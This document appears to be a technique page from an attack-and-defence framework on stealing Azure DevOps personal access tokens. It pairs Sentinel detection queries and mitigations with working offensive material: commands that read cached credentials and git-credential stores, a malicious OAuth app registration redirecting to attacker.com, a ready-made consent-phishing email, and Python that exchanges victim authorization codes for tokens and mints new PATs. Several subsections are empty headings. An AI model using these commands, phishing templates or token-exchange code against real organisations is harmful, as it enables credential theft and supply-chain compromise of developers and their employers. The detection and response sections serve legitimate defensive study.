MCADDF

[CA-TOKEN-008]: Azure DevOps Personal Access Token (PAT) Theft

1. Metadata Header

Attribute Details
Technique ID CA-TOKEN-008
MITRE ATT&CK v18.1 T1528: Steal Application Access Tokens
Tactic Credential Access
Platforms Entra ID, Azure DevOps, Cross-Platform
Severity Critical
CVE CVE-2023-21540 (Electron local privilege escalation)
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Azure DevOps Services (all versions), Azure DevOps Server 2019-2022
Patched In N/A (PAT design inherent; mitigations available)
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection Rules) are dynamically included. Section 11 (Sysmon Detection) not included because PAT theft is primarily a cloud-based attack with limited endpoint signals. All section numbers have been renumbered based on applicability.


2. Executive Summary

Azure DevOps Personal Access Tokens (PATs) are long-lived, bearer-token credentials that grant repository, pipeline, and organizational access without requiring password authentication. When compromised, a PAT becomes a golden credential for lateral movement, supply chain attacks, and persistent access to an organization’s source code, deployment pipelines, and secrets management systems.

Attack Surface: PATs cached in local filesystem (%USERPROFILE%\.azure on Windows, ~/.azure on Linux/Mac), hardcoded in scripts, transmitted via phishing, or generated through OAuth consent phishing attacks targeting developers with high privilege levels.

Business Impact: Loss of source code integrity, supply chain compromise, credential harvesting from CI/CD pipelines, and lateral movement into Azure subscriptions via stolen service principal credentials. A compromised developer’s PAT can grant an attacker the same repository and pipeline permissions as that developer, including the ability to commit malicious code, modify CI/CD workflows to steal secrets, and execute arbitrary code in build agents.

Technical Context: PAT theft typically requires either (1) initial endpoint compromise with local filesystem access, (2) successful phishing of a developer, or (3) discovery of hardcoded PATs in repositories or configuration files. Once obtained, the token can be used immediately from any network location without triggering additional authentication or MFA prompts, making it highly effective for persistence and lateral movement.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.1 Authentication Method Configuration – PAT creation and usage controls
DISA STIG SRG-APP-000231-WSR-000086 Token Handling and Credential Management in Web Applications
CISA SCuBA SC-7(8) Boundary Protection – Control of credential transmission in cloud environments
NIST 800-53 SC-7(8) / IA-5(1) Boundary Protection and Password-based Authentication
GDPR Article 32 Security of Processing – Encryption and access controls on credentials
DORA Article 9 Protection and Prevention – ICT Security measures for critical operations
NIS2 Article 21 Cyber Risk Management Measures – Identity and access controls
ISO 27001 A.9.2.2 / A.14.2.1 User Access and Authentication; Secure Development Requirements
ISO 27005 Risk Scenario: “Compromise of Authentication Credentials” Access control and cryptography

3. Technical Prerequisites

Supported Versions:

Tools:


4. Environmental Reconnaissance

Management Station / PowerShell Reconnaissance

# Check if Azure DevOps CLI is installed
az version

# Determine if PAT is cached locally
Get-Item -Path "$env:USERPROFILE\.azure" -ErrorAction SilentlyContinue
Get-Item -Path "$env:USERPROFILE\.azure\defaults" -ErrorAction SilentlyContinue

# List cached Azure credentials (if stored)
$CredPath = "$env:USERPROFILE\.azure"
if (Test-Path $CredPath) {
    Get-ChildItem -Path $CredPath -Force
}

What to Look For:

Version Note: Behavior is consistent across PowerShell 5.0 and PowerShell 7.x.

Linux/Bash CLI Reconnaissance

# Check Azure CLI installation and version
az version

# Check for cached credentials in Linux/Mac user home
ls -la ~/.azure/

# List contents of DevOps configuration
cat ~/.azure/devops 2>/dev/null || echo "No cached DevOps credential found"

# Check for PATs in bash history (security risk indicator)
grep -r "pat\|token\|PAT" ~/.bash_history 2>/dev/null | head -20

What to Look For:


5. Detailed Execution Methods

METHOD 1: PAT Discovery in Cached Credentials (Post-Compromise)

Supported Versions: Azure DevOps Services and Server 2019+

Step 1: Enumerate Cached Credentials on Compromised Endpoint

Objective: Discover cached Azure DevOps credentials stored locally on a compromised endpoint.

Command (Windows):

# List all files in .azure directory
Get-ChildItem -Path "$env:USERPROFILE\.azure" -Force -Recurse

# Check for devops configuration file
$DevOpsPath = "$env:USERPROFILE\.azure\devops"
if (Test-Path $DevOpsPath) {
    Get-Content $DevOpsPath
}

# Alternatively, check for git credentials helper
git config --global credential.helper
git config --system credential.helper

Command (Linux/Mac):

# List all cached Azure configuration
ls -la ~/.azure/

# Display contents of devops configuration
cat ~/.azure/devops

# Check git credential storage
git config --global credential.helper

Expected Output:

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2025-01-08  14:23                .
d-----         2025-01-08  14:23                ..
-a----         2025-01-08  14:22            2048  defaults
-a----         2025-01-07  09:15            1024  devops

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Steal PAT from Cached Storage or Environment Variables

Objective: Extract the cached PAT and authenticate to Azure DevOps.

Command (Windows - Extract PAT):

# Method 1: Direct file read from .azure directory
$AzureDir = "$env:USERPROFILE\.azure"
$PAT = Get-Content "$AzureDir\devops" -ErrorAction SilentlyContinue

# Method 2: Extract from git-credential-manager if used
# Git credentials are sometimes stored in the Windows Credential Manager
cmdkey /list | Select-String "git\|azure\|devops" -IgnoreCase

# Method 3: Query Windows Credential Manager directly
# Using CredentialManager module (if available)
if (Get-Module -ListAvailable -Name "CredentialManager") {
    Get-StoredCredential | Where-Object { $_.Target -like "*azure*" -or $_.Target -like "*devops*" }
}

# Display the PAT value (if retrieved)
$PAT

Command (Linux - Extract PAT):

# Method 1: Direct file read
PAT=$(cat ~/.azure/devops 2>/dev/null)
echo "$PAT"

# Method 2: Check for git-credential-manager cache
if [ -f ~/.config/git-credentials ]; then
    cat ~/.config/git-credentials
fi

# Method 3: Search for PAT references in shell configuration
grep -r "AZURE_DEVOPS_PAT\|PAT\|TOKEN" ~/.bashrc ~/.zshrc ~/.profile 2>/dev/null

Expected Output:

abcdefghijklmnopqrstuvwxyz1234567890abcd

(A 52-character alphanumeric PAT)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Authenticate to Azure DevOps Using Stolen PAT

Objective: Use the stolen PAT to authenticate and gain access to Azure DevOps repositories and pipelines.

Command (Windows):

# Option 1: Using az devops login
$PAT = "abcdefghijklmnopqrstuvwxyz1234567890abcd"  # Stolen PAT
$OrgURL = "https://dev.azure.com/contoso"

# Authenticate using the stolen PAT
$PAT | az devops login --organization $OrgURL

# Verify successful authentication
az devops project list --organization $OrgURL

Command (Linux/Mac):

# Authenticate using stolen PAT
PAT="abcdefghijklmnopqrstuvwxyz1234567890abcd"
ORG_URL="https://dev.azure.com/contoso"

echo "$PAT" | az devops login --organization $ORG_URL

# Verify authentication
az devops project list --organization $ORG_URL

Expected Output:

[
  {
    "id": "12345678-1234-1234-1234-123456789012",
    "name": "Project1",
    "state": "wellFormed",
    "visibility": "private"
  },
  {
    "id": "87654321-4321-4321-4321-210987654321",
    "name": "Project2",
    "state": "wellFormed",
    "visibility": "private"
  }
]

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Supported Versions: Azure DevOps Services (all versions); Azure DevOps Server 2019+

Step 1: Create Malicious OAuth App Registration

Objective: Register an Azure AD application that requests PAT management permissions.

Command (PowerShell - Using Microsoft Graph):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Create an OAuth app that requests broad permissions
$params = @{
    displayName = "DevOps PAT Manager"
    signInAudience = "AzureADMultipleOrgs"
    
    requiredResourceAccess = @(
        @{
            resourceAppId = "00000002-0000-0ff1-ce00-000000000000"  # Azure DevOps
            resourceAccess = @(
                @{
                    id = "a454db0d-2e22-4f74-acf7-1d5ec2826b9e"
                    type = "Scope"  # app_password scope
                }
            )
        },
        @{
            resourceAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph
            resourceAccess = @(
                @{
                    id = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
                    type = "Role"  # User.ReadWrite.All
                }
            )
        }
    )
    
    web = @{
        redirectUris = @("https://attacker.com/callback", "https://localhost:3000/callback")
    }
}

# Register the app
$app = New-MgApplication @params
$AppId = $app.AppId

Write-Host "Created App Registration: $AppId"

Expected Output:

Created App Registration: 11111111-2222-3333-4444-555555555555

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Objective: Create a phishing email that directs the victim to an OAuth consent page.

Phishing Email Example:

Subject: Urgent: Re-authorize Azure DevOps Access

Hi [Developer Name],

Your Azure DevOps authentication has expired. Please click the button below to re-authorize your access immediately. 
This is required to maintain continuity with ongoing pipeline deployments.

AUTHENTICATE HERE: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=11111111-2222-3333-4444-555555555555&
redirect_uri=https://attacker.com/callback&
response_type=code&
scope=https%3A%2F%2Fdev.azure.com%2Fapp_password&
state=random_state_value&
prompt=consent

This is a time-sensitive request.

Azure DevOps Security Team

What This URL Does:

OpSec & Evasion:

References & Proofs:


Step 3: Exchange Authorization Code for PAT

Objective: When the victim grants consent, exchange the authorization code for a token that can create PATs.

Command (Python - Attacker Backend):

import requests
import json

# After victim clicks "Approve" on consent screen, attacker receives authorization code
AUTH_CODE = "M.R3_BAY.abcdefg..."  # Received from OAuth redirect
CLIENT_ID = "11111111-2222-3333-4444-555555555555"
CLIENT_SECRET = "super_secret_key_registered_in_app"  # Attacker's app secret
TENANT_ID = "victim_tenant_id"
REDIRECT_URI = "https://attacker.com/callback"

# Exchange authorization code for access token
token_url = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"
token_payload = {
    "client_id": CLIENT_ID,
    "client_secret": CLIENT_SECRET,
    "code": AUTH_CODE,
    "redirect_uri": REDIRECT_URI,
    "grant_type": "authorization_code",
    "scope": "https://dev.azure.com/app_password"
}

response = requests.post(token_url, data=token_payload)
token_response = response.json()

access_token = token_response.get("access_token")
refresh_token = token_response.get("refresh_token")

print(f"[+] Access Token: {access_token}")
print(f"[+] Refresh Token (long-lived): {refresh_token}")

# Now, use the access token to create a PAT on behalf of the victim
# via Azure DevOps PAT creation API
create_pat_url = "https://vssps.dev.azure.com/{organization}/_apis/tokens/pats"
headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json"
}

pat_payload = {
    "displayName": "Build Agent Token",
    "validTo": "2026-01-08T00:00:00Z",
    "scope": ["vso.build", "vso.code", "vso.release"]  # Grant repository and pipeline access
}

pat_response = requests.post(create_pat_url, json=pat_payload, headers=headers)
created_pat = pat_response.json()

print(f"[+] Created PAT: {created_pat['token']}")

Expected Output:

[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
[+] Refresh Token (long-lived): 0.ARwA6WgJV3Z...
[+] Created PAT: abcdefghijklmnopqrstuvwxyz1234567890abcd

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 3: Hardcoded PAT Discovery in Source Code

Supported Versions: Azure DevOps Services and Server 2019+ with git-based repositories

Step 1: Clone Repository and Search for Hardcoded PATs

Objective: Search repository history for hardcoded PATs.

Command (Windows):

# Clone the Azure DevOps repository using exposed PAT
$PAT = "hardcodedpatunearthed"
$Org = "https://dev.azure.com/targetorg"
$Project = "TargetProject"
$Repo = "TargetRepo"

$RepoURL = "$Org/$Project/_git/$Repo"

# Use git to clone (PAT in URL)
git clone https://$PAT@dev.azure.com/targetorg/TargetProject/_git/TargetRepo

# Search for additional PATs in the repository
cd TargetRepo

# Search for PAT patterns in files
Get-ChildItem -Recurse | Select-String -Pattern "pat.*=|token.*=|key.*=.*dev\.azure\.com" | Select-Object Path, Line | Format-Table

Command (Linux/Bash):

# Clone the repository
PAT="hardcodedpatunearthed"
git clone https://$PAT@dev.azure.com/targetorg/TargetProject/_git/TargetRepo

cd TargetRepo

# Search for hardcoded PATs using grep
grep -r "pat\|PAT\|token\|TOKEN" . --include="*.py" --include="*.js" --include="*.cs" --include="*.java" --include="*.config" --include="*.json" --include="*.yml" --include="*.yaml" | grep -i "dev\.azure\.com\|devops\|authentication"

Expected Output:

config/azure-devops.json:  "pat": "pjv2jpl5mq2dqxxvsmrsq3z5p7zw4hcjwvgq7e3yq6t5u4v3w2x1y0z9a8b7c6d"
scripts/build.sh:  export AZURE_PAT="abc123def456ghi789jkl012mno345pqr678stu"
README.md: "Use the PAT 'pjv2jpl5mq...' for CI/CD pipelines"

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. Atomic Red Team

Atomic Test ID: T1528-002 (Azure – Functions code upload)

Test Name: Steal Application Access Token – Azure Functions code injection via Blob upload

Description: Simulates stealing an access token from an Azure Function environment by injecting code into a Function App, which then exfiltrates the IMDS (Instance Metadata Service) token to an attacker-controlled endpoint.

Supported Versions: Azure DevOps Services, Azure Functions; PowerShell 5.0+

Execution:

# Step 1: Install Atomic Red Team framework
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/archive/refs/heads/master.zip" -OutFile "atomic-red-team.zip"
Expand-Archive -Path "atomic-red-team.zip"

cd atomic-red-team-master/atomics/T1528

# Step 2: Execute Atomic Test #2 (Token theft from Azure Functions)
Invoke-AtomicTest T1528 -TestNumbers 2

Cleanup Command:

Remove-AzFunctionApp -ResourceGroupName "TargetResourceGroup" -Name "TestFunctionApp"

Reference: Atomic Red Team T1528 Azure Tests


7. Tools & Commands Reference

Azure DevOps CLI

Version: 2.0+
Supported Platforms: Windows, Linux, macOS
Minimum Version: 2.0

Version-Specific Notes:

Installation:

# Windows (via scoop or chocolatey)
scoop install azure-devops-cli

# Linux (via pip)
pip install azure-devops-cli

# macOS (via brew)
brew install azure-devops-cli

Usage:

# Authenticate with a PAT
az devops login --organization https://dev.azure.com/myorg --use-pat-token

# When prompted, enter the PAT

# List projects
az devops project list

# List repositories
az devops repo list --project MyProject

# Clone a repository
az devops repo show --repo-id <repo_id> --project MyProject

Script: Automated PAT Enumeration

#!/usr/bin/env python3
import os
import json
import subprocess
from pathlib import Path

def find_cached_pats():
    """Enumerate cached Azure DevOps PATs on the system."""
    
    # Platform-specific paths
    if os.name == 'nt':  # Windows
        azure_dir = Path.home() / '.azure'
    else:  # Linux/Mac
        azure_dir = Path.home() / '.azure'
    
    pats = []
    
    if azure_dir.exists():
        for file in azure_dir.iterdir():
            if file.is_file():
                try:
                    with open(file, 'r') as f:
                        content = f.read()
                        if len(content) > 40 and len(content.split('\n')[0]) > 40:
                            pats.append({
                                'file': str(file),
                                'token': content.split('\n')[0][:20] + '...'
                            })
                except Exception as e:
                    print(f"[!] Error reading {file}: {e}")
    
    return pats

def test_pat_validity(pat, org_url):
    """Test if a PAT is valid by attempting to list projects."""
    
    try:
        result = subprocess.run([
            'az', 'devops', 'project', 'list',
            '--organization', org_url
        ], env={**os.environ, 'AZURE_DEVOPS_EXT_PAT': pat}, 
        capture_output=True, text=True, timeout=10)
        
        return result.returncode == 0
    except Exception as e:
        return False

if __name__ == '__main__':
    print("[*] Scanning for cached Azure DevOps PATs...")
    pats = find_cached_pats()
    
    for pat_info in pats:
        print(f"[+] Found potential PAT: {pat_info['file']}")
        print(f"    Token (truncated): {pat_info['token']}")

8. Microsoft Sentinel Detection

KQL Query 1: Detect Unusual Azure DevOps CLI Usage

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Create personal access token", "Create personal access token (session token)")
| where InitiatedBy.user.userPrincipalName != "" or InitiatedBy.user.servicePrincipalName != ""
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result
| summarize TokenCount = count() by InitiatedBy.user.userPrincipalName
| where TokenCount > 3  // Threshold: more than 3 PATs created in short timeframe

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Unusual Azure DevOps PAT Creation
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Source: Microsoft Sentinel Azure DevOps Audit Logs


KQL Query 2: Detect PAT Usage from Unusual Locations

Rule Configuration:

KQL Query:

SigninLogs
| where AppDisplayName == "Azure DevOps"
| where ResultType == 0  // Successful sign-ins only
| join kind=leftouter (SigninLogs
    | where AppDisplayName == "Azure DevOps"
    | summarize AvgLatitude = avg(tolower(tostring(parse_json(LocationDetails).geoCoordinates.latitude))) by UserPrincipalName) on UserPrincipalName
| where isnan(AvgLatitude) or abs(tolower(tostring(parse_json(LocationDetails).geoCoordinates.latitude)) - AvgLatitude) > 1000  // Geographically impossible distance
| project TimeGenerated, UserPrincipalName, IPAddress, parse_json(LocationDetails).countryOrRegion

What This Detects:

Source: MITRE ATT&CK - T1528 Detection


9. Windows Event Log Monitoring

Event ID: 4624 (Successful Account Logon)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesLogon/Logoff
  3. Enable: Audit Other Logon/Logoff Events
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy - Server 2022+):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesLogon/Logoff
  3. Enable: Audit Logon
  4. Run auditpol /set /subcategory:"Logon" /success:enable /failure:enable

10. Microsoft Defender for Cloud

Alert Name: Suspicious sign-in activity from an unfamiliar location

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Cloud Apps: ON
    • Defender for DevOps: ON (Preview)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud - Threat Detection


11. Microsoft Purview (Unified Audit Log)

Operation: Create personal access token

PowerShell Query:

Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "CreatePersonalAccessToken" -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -ResultSize 5000 | Export-Csv -Path "C:\AuditLogs\PAT_Creation.csv"

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditSearch
  2. Set Date range (Start/End)
  3. Under Activities, select: Create personal access token
  4. Under Users, enter: [Affected user UPN or leave blank for all]
  5. Click Search
  6. Export results: ExportDownload all results

12. Defensive Mitigations

Priority 1: CRITICAL

Mitigation 1: Enforce PAT Expiration Policies

Azure DevOps supports enforcing mandatory PAT expiration. This prevents indefinite use of stolen tokens.

Applies To Versions: Azure DevOps Services 2022+, Azure DevOps Server 2022+

Manual Steps (Azure DevOps Admin Portal):

  1. Go to Azure DevOps PortalOrganization Settings (bottom left corner)
  2. Navigate to SecurityPolicies
  3. Under Personal Access Token (PAT) Policies, set:
    • Maximum age of personal access tokens: 30 days (recommended)
    • Inactive timeout policy: 14 days
  4. Click Save

Manual Steps (PowerShell):

# Requires Azure DevOps PowerShell module
$orgUrl = "https://dev.azure.com/contoso"

# Set PAT maximum age policy
az devops admin policy-list-show --organization $orgUrl | ConvertFrom-Json

# Apply policy via REST API
$headers = @{
    "Authorization" = "Bearer $PAT"
    "Content-Type" = "application/json"
}

$policyPayload = @{
    "maxExpireDate" = (Get-Date).AddDays(30).ToUniversalTime()
    "enforcePatExpiration" = $true
} | ConvertTo-Json

Invoke-RestMethod -Uri "$orgUrl/_apis/admin/policies/pat?api-version=7.0-preview" -Method PATCH -Headers $headers -Body $policyPayload

Validation Command:

# Check current PAT policies
az devops admin policy list-show --organization https://dev.azure.com/contoso

Expected Output (If Secure):

{
  "patLifetimeInDays": 30,
  "enforcePatExpiration": true,
  "patInactivityTimeoutInDays": 14
}

What to Look For:


Mitigation 2: Restrict PAT Creation (Public Preview)

Azure DevOps recently released a feature to restrict which users can create PATs.

Applies To Versions: Azure DevOps Services 2024+

Manual Steps:

  1. Go to Azure DevOps PortalOrganization Settings
  2. Navigate to SecurityPolicies
  3. Under Personal Access Token Restrictions, enable:
    • Restrict who can create PATs: ON
    • Allowed Users: [Select only required roles, e.g., “Project Administrators”]
  4. Click Save

Mitigation 3: Require Multi-Factor Authentication (MFA) for PAT Creation

Enforce MFA when creating PATs to prevent phishing-based PAT generation.

Applies To Versions: Azure Entra ID (prerequisite for Azure DevOps)

Manual Steps (Conditional Access):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require MFA for Azure DevOps PAT Creation
  4. Assignments:
    • Users: All users (or select specific developer groups)
    • Cloud apps: Azure DevOps
    • Conditions: Client app = Azure DevOps CLI
  5. Access controls:
    • Grant: Require multi-factor authentication
  6. Enable policy: On
  7. Click Create

Priority 2: HIGH

Mitigation 4: Monitor and Audit PAT Usage

Enable comprehensive logging and alerting on PAT creation and usage.

Applies To Versions: All Azure DevOps versions

Manual Steps (Azure DevOps):

  1. Go to Organization SettingsAuditing
  2. Ensure the following events are logged:
    • Personal Access Token (PAT) Created
    • Personal Access Token (PAT) Revoked
    • Personal Access Token (PAT) Used
  3. Set retention policy: 90-180 days
  4. Export logs to Azure Storage or Log Analytics for long-term retention

Mitigation 5: Disable Legacy Authentication Protocols

Disable SMTP, IMAP, and other legacy protocols that may accept PATs.

Manual Steps (Azure DevOps):

  1. Go to Organization SettingsSecurityPolicies
  2. Under Authentication Methods, ensure:
    • Allow Basic Auth: OFF
    • Allow NTLM: OFF
    • Allow legacy auth tokens: OFF
  3. Click Save

Mitigation 6: Implement Principle of Least Privilege (PoLP)

Scope PATs to minimal required permissions and grant them to service accounts, not personal accounts.

Manual Steps:

  1. When creating a PAT, select only necessary scopes:
    • Avoid: Full (all scopes)
    • Prefer: Specific scopes like vso.code_write, vso.build_execute
  2. Create separate PATs for different workflows (e.g., one for CI/CD, one for Git operations)
  3. Never reuse PATs across multiple pipelines or projects

13. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Command (Immediate): ```powershell

      Revoke all PATs for affected user

      $PAT = “[Known-Good-Admin-PAT]” $headers = @{ “Authorization” = “Bearer $PAT” “Content-Type” = “application/json” }

    Get list of all PATs for user

    Invoke-RestMethod -Uri “https://vssps.dev.azure.com/_apis/tokens/pats?api-version=7.0-preview” -Headers $headers

    Revoke each PAT

    Invoke-RestMethod -Uri “https://vssps.dev.azure.com/_apis/tokens/pats/{patId}?api-version=7.0-preview” -Method DELETE -Headers $headers ```

    Manual (Azure DevOps Portal):

    • Go to User SettingsPersonal Access Tokens
    • Click Revoke on all tokens created after the compromise window
    • Notify the user to re-authenticate via browser
  2. Collect Evidence:
    • Command: ```powershell

      Export Azure DevOps audit logs

      $orgUrl = “https://dev.azure.com/contoso” az devops security audit-stream list –organization $orgUrl

    Export to file

    az devops security audit-stream show –organization $orgUrl > C:\Evidence\AuditLog.json ```

    • Manual:
    • Navigate to Organization SettingsAuditing
    • Filter logs by date range of suspected compromise
    • Export to CSV: Download Audit Log
  3. Remediate:
    • Reset affected user’s password in Entra ID
    • Review Entra ID sign-in logs for unauthorized access
    • Audit all repositories and pipelines modified during the compromise window
    • Check for injected malicious code or exfiltrated secrets
    • Rotate any secrets that may have been exposed in CI/CD pipelines
    • Conduct password audit on accounts that may have been compromised via exfiltrated secrets

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker phishes developer to grant OAuth permissions
2 Credential Access [CA-TOKEN-008] Azure DevOps PAT Theft Attacker generates or steals PAT via phishing or endpoint compromise
3 Lateral Movement [LM-AUTH-005] Service Principal Key/Certificate PAT used to extract service principal credentials from pipeline
4 Privilege Escalation [PE-ACCTMGMT-010] Azure DevOps Pipeline Escalation Attacker modifies pipeline to grant themselves admin role
5 Impact [CA-UNSC-015] Pipeline Environment Variables Theft Attacker exfiltrates cloud credentials from pipeline environment

15. Real-World Examples

Example 1: SUNBURST (SolarWinds 2020)

Example 2: Codecov 2021 (CI/CD Secret Exposure)

Example 3: Lapsus$ Campaign (Microsoft, Okta, Samsung 2022)


Related Techniques in MCADDF: